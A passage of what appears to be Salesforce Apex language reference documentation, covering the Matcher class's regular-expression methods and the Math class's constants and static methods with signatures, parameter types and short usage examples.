colors = colorCodes.values();
Matcher Class
Matchers use Patterns to perform match operations on a character string.
Namespace
System
Matcher Methods
The following are methods for Matcher.
IN THIS SECTION:
end()
Returns the position after the last matched character.
end(groupIndex)
Returns the position after the last character of the subsequence captured by the group index during the previous match operation.
If the match was successful but the group itself did not match anything, this method returns -1.
find()
Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence
of the input sequence matches this Matcher object's pattern.
find(group)
Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method
returns true if a subsequence of the input sequence matches this Matcher object's pattern.
group()
Returns the input subsequence returned by the previous match.
group(groupIndex)
Returns the input subsequence captured by the specified group index during the previous match operation. If the match was
successful but the specified group failed to match any part of the input sequence, null is returned.
groupCount()
Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included
in this count.
hasAnchoringBounds()
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.
hasTransparentBounds()
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque
region boundaries.
2382
Matcher ClassReference
hitEnd()
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When
this method returns true, it is possible that more input would have changed the result of the last search.
lookingAt()
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.
matches()
Attempts to match the entire region against the pattern.
pattern()
Returns the Pattern object from which this Matcher object was created.
quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence
of characters in inputString.
region(start, end)
Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.
regionEnd()
Returns the end index (exclusive) of this Matcher object's region.
regionStart()
Returns the start index (inclusive) of this Matcher object's region.
replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.
replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.
requireEnd()
Returns true if more input could change a positive match into a negative one.
reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.
reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.
start()
Returns the start index of the first character of the previous match.
start(groupIndex)
Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation.
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0)
is equivalent to m.start().
useAnchoringBounds(anchoringBounds)
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.
usePattern(pattern)
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information
about the groups of the last match that occurred. The Matcher object's position in the input is maintained.
useTransparentBounds(transparentBounds)
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.
2383
Matcher ClassReference
end()
Returns the position after the last matched character.
Signature
public Integer end()
Return Value
Type: Integer
end(groupIndex)
Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If
the match was successful but the group itself did not match anything, this method returns -1.
Signature
public Integer end(Integer groupIndex)
Parameters
groupIndex
Type: Integer
Return Value
Type: Integer
Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expressionm.end(0) is
equivalent to m.end().
See Understanding Capturing Groups.
find()
Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of
the input sequence matches this Matcher object's pattern.
Signature
public Boolean find()
Return Value
Type: Boolean
2384
Matcher ClassReference
Usage
This method starts at the beginning of this Matcher object's region, or, if a previous invocation of the method was successful and the
Matcher object has not since been reset, at the first character not matched by the previous match.
If the match succeeds, more information can be obtained using the start, end, and group methods.
For more information, see Using Regions.
find(group)
Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method
returns true if a subsequence of the input sequence matches this Matcher object's pattern.
Signature
public Boolean find(Integer group)
Parameters
group
Type: Integer
Return Value
Type: Boolean
Usage
If the match succeeds, more information can be obtained using the start, end, and group methods.
group()
Returns the input subsequence returned by the previous match.
Signature
public String group()
Return Value
Type: String
Usage
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully
matches the empty string in the input.
group(groupIndex)
Returns the input subsequence captured by the specified group index during the previous match operation. If the match was successful
but the specified group failed to match any part of the input sequence, null is returned.
2385
Matcher ClassReference
Signature
public String group(Integer groupIndex)
Parameters
groupIndex
Type: Integer
Return Value
Type: String
Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0)
is equivalent to m.group().
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully
matches the empty string in the input.
See Understanding Capturing Groups.
groupCount()
Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in
this count.
Signature
public Integer groupCount()
Return Value
Type: Integer
Usage
See Understanding Capturing Groups.
hasAnchoringBounds()
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.
Signature
public Boolean hasAnchoringBounds()
Return Value
Type: Boolean
2386
Matcher ClassReference
Usage
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as
^ and $.
For more information, see Using Bounds.
hasTransparentBounds()
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque
region boundaries.
Signature
public Boolean hasTransparentBounds()
Return Value
Type: Boolean
Usage
For more information, see Using Bounds.
hitEnd()
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When
this method returns true, it is possible that more input would have changed the result of the last search.
Signature
public Boolean hitEnd()
Return Value
Type: Boolean
lookingAt()
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.
Signature
public Boolean lookingAt()
Return Value
Type: Boolean
2387
Matcher ClassReference
Usage
Like the matches method, this method always starts at the beginning of the region; unlike that method, it does not require the entire
region be matched.
If the match succeeds, more information can be obtained using the start, end, and group methods.
See Using Regions.
matches()
Attempts to match the entire region against the pattern.
Signature
public Boolean matches()
Return Value
Type: Boolean
Usage
If the match succeeds, more information can be obtained using the start, end, and group methods.
See Using Regions.
pattern()
Returns the Pattern object from which this Matcher object was created.
Signature
public Pattern object pattern()
Return Value
Type: System.Pattern
quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence
of characters in inputString.
Signature
public static String quoteReplacement(String inputString)
Parameters
inputString
Type: String
2388
Matcher ClassReference
Return Value
Type: String
Usage
Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.
region(start, end)
Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.
Signature
public Matcher object region(Integer start, Integer end)
Parameters
start
Type: Integer
end
Type: Integer
Return Value
Type: Matcher
Usage
This method first resets the Matcher object, then sets the region to start at the index specified by start and end at the index specified
by end.
Depending on the transparency boundaries being used, certain constructs such as anchors may behave differently at or around the
boundaries of the region.
See Using Regions and Using Bounds.
regionEnd()
Returns the end index (exclusive) of this Matcher object's region.
Signature
public Integer regionEnd()
Return Value
Type: Integer
Usage
See Using Regions.
2389
Matcher ClassReference
regionStart()
Returns the start index (inclusive) of this Matcher object's region.
Signature
public Integer regionStart()
Return Value
Type: Integer
Usage
See Using Regions.
replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.
Signature
public String replaceAll(String replacementString)
Parameters
replacementString
Type: String
Return Value
Type: String
Usage
This method first resets the Matcher object, then scans the input sequence looking for matches of the pattern. Characters that are not
part of any match are appended directly to the result string; each match is replaced in the result by the replacement string. The replacement
string may contain references to captured subsequences.
Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated
as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape
literal characters in the replacement string.
Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should
first be reset.
Given the regular expression a*b, the input "aabfooaabfooabfoob", and the replacement string "-", an invocation of this
method on a Matcher object for that expression would yield the string "-foo-foo-foo-".
replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.
2390
Matcher ClassReference
Signature
public String replaceFirst(String replacementString)
Parameters
replacementString
Type: String
Return Value
Type: String
Usage
Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated
as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape
literal characters in the replacement string.
Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should
first be reset.
Given the regular expression dog, the input "zzzdogzzzdogzzz", and the replacement string "cat", an invocation of this
method on a Matcher object for that expression would return the string "zzzcatzzzdogzzz".
requireEnd()
Returns true if more input could change a positive match into a negative one.
Signature
public Boolean requireEnd()
Return Value
Type: Boolean
Usage
If this method returns true, and a match was found, then more input could cause the match to be lost.
If this method returns false and a match was found, then more input might change the match but the match won't be lost.
If a match was not found, then requireEnd has no meaning.
reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.
Signature
public Matcher object reset()
2391
Matcher ClassReference
Return Value
Type: Matcher
Usage
This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the useAnchoringBounds
method to change the anchoring bounds.
For more information, see Using Bounds.
reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.
Signature
public Matcher reset(String inputSequence)
Parameters
inputSequence
Type: String
Return Value
Type: Matcher
start()
Returns the start index of the first character of the previous match.
Signature
public Integer start()
Return Value
Type: Integer
start(groupIndex)
Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation.
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0)
is equivalent to m.start().
Signature
public Integer start(Integer groupIndex)
2392
Matcher ClassReference
Parameters
groupIndex
Type: Integer
Return Value
Type: Integer
Usage
See Understanding Capturing Groups on page 519.
useAnchoringBounds(anchoringBounds)
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.
Signature
public Matcher object useAnchoringBounds(Boolean anchoringBounds)
Parameters
anchoringBounds
Type: Boolean
If you specify true, the Matcher object uses anchoring bounds. If you specify false, non-anchoring bounds are used.
Return Value
Type: Matcher
Usage
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as
^ and $.
For more information, see Using Bounds on page 518.
usePattern(pattern)
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information
about the groups of the last match that occurred. The Matcher object's position in the input is maintained.
Signature
public Matcher object usePattern(Pattern pattern)
Parameters
pattern
Type: System.Pattern
2393
Matcher ClassReference
Return Value
Type: Matcher
useTransparentBounds(transparentBounds)
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.
Signature
public Matcher object useTransparentBounds(Boolean transparentBounds)
Parameters
transparentBounds
Type: Boolean
If you specify true, the Matcher object uses transparent bounds. If you specify false, opaque bounds are used.
Return Value
Type: Matcher
Usage
For more information, see Using Bounds.
Math Class
Contains methods for mathematical operations.
Namespace
System
Math Fields
The following are fields for Math.
IN THIS SECTION:
E
Returns the mathematical constant e, which is the base of natural logarithms.
PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.
E
Returns the mathematical constant e, which is the base of natural logarithms.
2394
Math ClassReference
Signature
public static final Double E
Property Value
Type: Double
PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.
Signature
public static final Double PI
Property Value
Type: Double
Math Methods
The following are methods for Math. All methods are static.
IN THIS SECTION:
abs(decimalValue)
Returns the absolute value of the specified Decimal.
abs(doubleValue)
Returns the absolute value of the specified Double.
abs(integerValue)
Returns the absolute value of the specified Integer.
abs(longValue)
Returns the absolute value of the specified Long.
acos(decimalAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
acos(doubleAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
asin(decimalAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
asin(doubleAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
2395
Math ClassReference
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the
phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the
phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's
magnitude.
cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's
magnitude.
ceil(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.
ceil(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.
cos(decimalAngle)
Returns the trigonometric cosine of the angle specified by decimalAngle.
cos(doubleAngle)
Returns the trigonometric cosine of the angle specified by doubleAngle.
cosh(decimalAngle)
Returns the hyperbolic cosine of decimalAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
cosh(doubleAngle)
Returns the hyperbolic cosine of doubleAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
exp(exponentDecimal)
Returns Euler's number e raised to the power of the specified Decimal.
exp(exponentDouble)
Returns Euler's number e raised to the power of the specified Double.
floor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.
floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.
log(decimalValue)
Returns the natural logarithm (base e) of the specified Decimal.
log(doubleValue)
Returns the natural logarithm (base e) of the specified Double.
log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.
log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.
2396
Math ClassReference
max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.
max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.
max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.
max(longValue1, longValue2)
Returns the larger of the two specified Longs.
min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.
min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.
min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.
min(longValue1, longValue2)
Returns the smaller of the two specified Longs.
mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.
mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.
pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.
random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.
rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.
rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.
round(doubleValue)
Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer
to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.
round(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
roundToLong(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
roundToLong(doubleValue)
Returns the closest Long to the specified Double.
2397
Math ClassReference
signum(decimalValue)
Returns the signum function of the specified Decimal, which is 0 if decimalValue is 0, 1.0 if decimalValue is greater than
0, -1.0 if decimalValue is less than 0.
signum(doubleValue)
Returns the signum function of the specified Double, which is 0 if doubleValue is 0, 1.0 if doubleValue is greater than 0,
-1.0 if doubleValue is less than 0.
sin(decimalAngle)
Returns the trigonometric sine of the angle specified by decimalAngle.
sin(doubleAngle)
Returns the trigonometric sine of the angle specified by doubleAngle.
sinh(decimalAngle)
Returns the hyperbolic sine of decimalAngle. The hyperbolic sine of decimalAngle is defined to be (ex - e-x)/2 where e is
Euler's number.
sinh(doubleAngle)
Returns the hyperbolic sine of doubleAngle. The hyperbolic sine of doubleAngle is defined to be (ex - e-x)/2 where e is
Euler's number.
sqrt(decimalValue)
Returns the correctly rounded positive square root of decimalValue.
sqrt(doubleValue)
Returns the correctly rounded positive square root of doubleValue.
tan(decimalAngle)
Returns the trigonometric tangent of the angle specified by decimalAngle.
tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by doubleAngle.
tanh(decimalAngle)
Returns the hyperbolic tangent of decimalAngle. The hyperbolic tangent of decimalAngle is defined to be (ex - e-x)/(ex +
e-x) where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh
is always less than 1.
tanh(doubleAngle)
Returns the hyperbolic tangent of doubleAngle. The hyperbolic tangent of doubleAngle is defined to be (ex - e-x)/(ex + e-x)
where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is
always less than 1.
abs(decimalValue)
Returns the absolute value of the specified Decimal.
Signature
public static Decimal abs(Decimal decimalValue)
2398
Math ClassReference
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
abs(doubleValue)
Returns the absolute value of the specified Double.
Signature
public static Double abs(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
abs(integerValue)
Returns the absolute value of the specified Integer.
Signature
public static Integer abs(Integer integerValue)
Parameters
integerValue
Type: Integer
Return Value
Type: Integer
Example
Integer i = -42;
Integer i2 = math.abs(i);
system.assertEquals(i2, 42);
2399
Math ClassReference
abs(longValue)
Returns the absolute value of the specified Long.
Signature
public static Long abs(Long longValue)
Parameters
longValue
Type: Long
Return Value
Type: Long
acos(decimalAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
Signature
public static Decimal acos(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
acos(doubleAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
Signature
public static Double acos(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
2400
Math ClassReference
asin(decimalAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
Signature
public static Decimal asin(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
asin(doubleAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
Signature
public static Double asin(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
Signature
public static Decimal atan(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
2401
Math ClassReference
atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
Signature
public static Double atan(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase
theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
Signature
public static Decimal atan2(Decimal xCoordinate, Decimal yCoordinate)
Parameters
xCoordinate
Type: Decimal
yCoordinate
Type: Decimal
Return Value
Type: Decimal
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase
theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
Signature
public static Double atan2(Double xCoordinate, Double yCoordinate)
Parameters
xCoordinate
Type: Double
2402
Math ClassReference
yCoordinate
Type: Double
Return Value
Type: Double
cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude.
Signature
public static Decimal cbrt(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude.
Signature
public static Double cbrt(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
ceil(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.
Signature
public static Decimal ceil(Decimal decimalValue)
2403
Math ClassReference
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
ceil(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.
Signature
public static Double ceil(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
cos(decimalAngle)
Returns the trigonometric cosine of the angle specified by decimalAngle.
Signature
public static Decimal cos(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
cos(doubleAngle)
Returns the trigonometric cosine of the angle specified by doubleAngle.
Signature
public static Double cos(Double doubleAngle)
2404
Math ClassReference
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
cosh(decimalAngle)
Returns the hyperbolic cosine of decimalAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
Signature
public static Decimal cosh(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
cosh(doubleAngle)
Returns the hyperbolic cosine of doubleAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
Signature
public static Double cosh(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
exp(exponentDecimal)
Returns Euler's number e raised to the power of the specified Decimal.
Signature
public static Decimal exp(Decimal exponentDecimal)
2405
Math ClassReference
Parameters
exponentDecimal
Type: Decimal
Return Value
Type: Decimal
exp(exponentDouble)
Returns Euler's number e raised to the power of the specified Double.
Signature
public static Double exp(Double exponentDouble)
Parameters
exponentDouble
Type: Double
Return Value
Type: Double
floor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.
Signature
public static Decimal floor(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.
Signature
public static Double floor(Double doubleValue)
2406
Math ClassReference
Parameters
doubleValue
Type: Double
Return Value
Type: Double
log(decimalValue)
Returns the natural logarithm (base e) of the specified Decimal.
Signature
public static Decimal log(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
log(doubleValue)
Returns the natural logarithm (base e) of the specified Double.
Signature
public static Double log(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.
Signature
public static Decimal log10(Decimal decimalValue)
2407
Math ClassReference
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.
Signature
public static Double log10(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.
Signature
public static Decimal max(Decimal decimalValue1, Decimal decimalValue2)
Parameters
decimalValue1
Type: Decimal
decimalValue2
Type: Decimal
Return Value
Type: Decimal
Example
Decimal larger = math.max(12.3, 156.6);
system.assertEquals(larger, 156.6);
2408
Math ClassReference
max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.
Signature
public static Double max(Double doubleValue1, Double doubleValue2)
Parameters
doubleValue1
Type: Double
doubleValue2
Type: Double
Return Value
Type: Double
max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.
Signature
public static Integer max(Integer integerValue1, Integer integerValue2)
Parameters
integerValue1
Type: Integer
integerValue2
Type: Integer
Return Value
Type: Integer
max(longValue1, longValue2)
Returns the larger of the two specified Longs.
Signature
public static Long max(Long longValue1, Long longValue2)
Parameters
longValue1
Type: Long
2409
Math ClassReference
longValue2
Type: Long
Return Value
Type: Long
min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.
Signature
public static Decimal min(Decimal decimalValue1, Decimal decimalValue2)
Parameters
decimalValue1
Type: Decimal
decimalValue2
Type: Decimal
Return Value
Type: Decimal
Example
Decimal smaller = math.min(12.3, 156.6);
system.assertEquals(smaller, 12.3);
min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.
Signature
public static Double min(Double doubleValue1, Double doubleValue2)
Parameters
doubleValue1
Type: Double
doubleValue2
Type: Double
Return Value
Type: Double
2410
Math ClassReference
min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.
Signature
public static Integer min(Integer integerValue1, Integer integerValue2)
Parameters
integerValue1
Type: Integer
integerValue2
Type: Integer
Return Value
Type: Integer
min(longValue1, longValue2)
Returns the smaller of the two specified Longs.
Signature
public static Long min(Long longValue1, Long longValue2)
Parameters
longValue1
Type: Long
longValue2
Type: Long
Return Value
Type: Long
mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.
Signature
public static Integer mod(Integer integerValue1, Integer integerValue2)
Parameters
integerValue1
Type: Integer
2411
Math ClassReference
integerValue2
Type: Integer
Return Value
Type: Integer
Example
Integer remainder = math.mod(12, 2);
system.assertEquals(remainder, 0);
Integer remainder2 = math.mod(8, 3);
system.assertEquals(remainder2, 2);
mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.
Signature
public static Long mod(Long longValue1, Long longValue2)
Parameters
longValue1
Type: Long
longValue2
Type: Long
Return Value
Type: Long
pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.
Signature
public static Double pow(Double doubleValue, Double exponent)
Parameters
doubleValue
Type: Double
exponent
Type: Double
2412
Math ClassReference
Return Value
Type: Double
random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.
Signature
public static Double random()
Return Value
Type: Double
rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.
Signature
public static Decimal rint(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.
Signature
public static Double rint(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
2413
Math ClassReference
round(doubleValue)
Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer
to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.
Signature
public static Integer round(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Integer
round(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.
Signature
public static Integer round(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Integer
Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
Example
Decimal d1 = 4.5;
Integer i1 = Math.round(d1);
System.assertEquals(4, i1);
Decimal d2 = 5.5;
Integer i2 = Math.round(d2);
System.assertEquals(6, i2);
2414
Math ClassReference
roundToLong(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.
Signature
public static Long roundToLong(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Long
Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
Example
Decimal d1 = 4.5;
Long i1 = Math.roundToLong(d1);
System.assertEquals(4, i1);
Decimal d2 = 5.5;
Long i2 = Math.roundToLong(d2);
System.assertEquals(6, i2);
roundToLong(doubleValue)
Returns the closest Long to the specified Double.
Signature
public static Long roundToLong(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Long
2415
Math ClassReference
signum(decimalValue)
Returns the signum function of the specified Decimal, which is 0 if decimalValue is 0, 1.0 if decimalValue is greater than 0,
-1.0 if decimalValue is less than 0.
Signature
public static Decimal signum(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
signum(doubleValue)
Returns the signum function of the specified Double, which is 0 if doubleValue is 0, 1.0 if doubleValue is greater than 0, -1.0
if doubleValue is less than 0.
Signature
public static Double signum(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
sin(decimalAngle)
Returns the trigonometric sine of the angle specified by decimalAngle.
Signature
public static Decimal sin(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
2416
Math ClassReference
Return Value
Type: Decimal
sin(doubleAngle)
Returns the trigonometric sine of the angle specified by doubleAngle.
Signature
public static Double sin(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
sinh(decimalAngle)
Returns the hyperbolic sine of decimalAngle. The hyperbolic sine of decimalAngle is defined to be (ex - e-x)/2 where e is Euler's
number.
Signature
public static Decimal sinh(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
sinh(doubleAngle)
Returns the hyperbolic sine of doubleAngle. The hyperbolic sine of doubleAngle is defined to be (ex - e-x)/2 where e is Euler's
number.
Signature
public static Double sinh(Double doubleAngle)
2417
Math ClassReference
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
sqrt(decimalValue)
Returns the correctly rounded positive square root of decimalValue.
Signature
public static Decimal sqrt(Decimal decimalValue)
Parameters
decimalValue
Type: Decimal
Return Value
Type: Decimal
sqrt(doubleValue)
Returns the correctly rounded positive square root of doubleValue.
Signature
public static Double sqrt(Double doubleValue)
Parameters
doubleValue
Type: Double
Return Value
Type: Double
tan(decimalAngle)
